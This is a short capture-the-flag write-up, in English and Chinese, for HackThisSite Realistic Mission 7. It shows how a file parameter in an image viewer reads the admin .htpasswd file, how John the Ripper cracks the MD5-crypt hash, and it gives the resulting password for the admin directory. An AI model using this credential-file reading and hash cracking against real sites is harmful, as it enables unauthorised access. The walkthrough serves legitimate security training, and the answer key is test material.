HackThisSite - Realistic Mission 7
Challenge
Use a flaw in an image gallery to obtain the administrator's credentials and access the admin directory.
目标是利用图片查看器读取
.htpasswd,破解管理员密码,再访问受保护目录。
Solution
1. 确认 LFI
页面中的图片查看器使用类似下面的参数:
1 | showimages.php?file=patriot.txt |
file
参数可被用于读取任务目录中的其他文件。目标文件位于:
1 | images/admin/.htpasswd |
可用请求:
1 | curl -sS -b "HackThisSite=<mission-cookie>" \ |
响应会包含管理员账户及其 $1$... 格式的
MD5-crypt 哈希。
2. 破解哈希
$1$ 表示 MD5-crypt。把完整的
administrator:<hash>
行保存后,用本地工具进行字典测试,例如:
1 | john --format=md5crypt --wordlist=<wordlist> htpasswd.txt |
本关得到的密码是:
1 | shadow |
3. 访问管理员目录
1 | curl -sS -u 'administrator:shadow' \ |
成功通过 HTTP Basic Authentication 后,任务完成。